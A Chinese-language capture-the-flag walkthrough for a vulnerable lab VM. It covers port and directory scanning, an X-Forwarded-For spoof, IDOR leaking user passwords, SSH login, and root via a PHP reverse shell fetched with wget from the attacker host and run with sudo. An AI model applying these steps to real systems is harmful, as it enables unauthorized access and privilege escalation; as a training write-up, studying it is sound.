一、信息收集
打开靶机后,先用netdiscover进行IP扫描:
确定靶机IP为192.168.1.106后,扫描它的端口开放情况:
namp -sV -A -p 0-65535 192.168.1.106
发现靶机只开放了22和80端口,打开80端口看一下:
这段话的意思是:你是谁?黑客吗?对不起,本网站只能在本地访问!
然后试着先扫描一下目录:
dirb http://192.168.1.106
发现一个robots.txt文件,打开一看又发现一个heyhoo.txt文件,再打开看后发现一句话,并没有什么用:
然后回到刚刚的那句话,查看页面源码可知:
(也许你可以搜索如何使用x-forward -for)
了解完x-forward -for以后就开始利用它。
二、抓包改包
使用bp抓包:
添加上这一行,然后放回去:
会发现url上多了些东西,然后再继续抓包改包:
发现页面有4个超链接,经过尝试并没有发现什么其他漏洞,既然有个注册页面,就先注册一个账户进去看一下,在这里需要注意的是,再访问每个页面的时候都得进行抓包改包。
三、漏洞利用
先注册一个admin用户,看看注册得的这个用户进去以后是啥样的
进来以后是这样的,这句话并没有什么用,然后发现有一个配置文件的超链接,打开看一下:
再联想url中的id,好像是可以查看用户的,尝试修改抓包修改一下,
果然和我们猜想的一样,可以爆出用户的账户,密码在源码里可以看见:
我们知道它22端口还开着,会不会这就是靶机中的一个用户,然后尝试着进行ssh连接,发现这个用户并不可行,既然id=1是一个用户,那是不是还有其他的用户呢?然后依次抓包修改,随后一共爆出了5个用户:
id=1 eweuhtandingan skuyatuh
id=2 aingmaung qwerty!!!
id=3 sundatea indONEsia
id=4 sedihaingmah cedihhihihi
id=5 alice 4lic3
然后依次进行连接,发现只有最后一个用户可以登录进入:
四、反弹shell提权
先来看看这个用户都可以执行哪些命令,具有怎样的权限:
sudo -l
发现这个用户竟然可以使用sudo用root执行php命令,所以在这我们就可以想到利用php脚本反弹shell。我们先来看看它这下面都有什么文件:
ls -al
发现一个隐藏文件my_secret,打开看一下,
ls -al .my_secret
在这里,发现了flag1.txt:
cat .my_secret/flag1.txt
在kali系统中有自带的php脚本:
我们选择php-reverse-shell.php,然后把这个脚本下载到靶机中。使用python3搭建简易服务器:
python3 -m http.server 6666
wget http://192.168.1.107:6666/php-reverse-shell.php
然后修改这个文件:
vim php-reverse-shell.php
保存退出后,返回到攻击机,然后监听1234端口:
然后再回到靶机中运行这个php文件:
sudo php php-reverse-shell.php
成功到达root用户,然后进入root用户下发现flag2.txt:
cd /root
ls
cat flag2.txt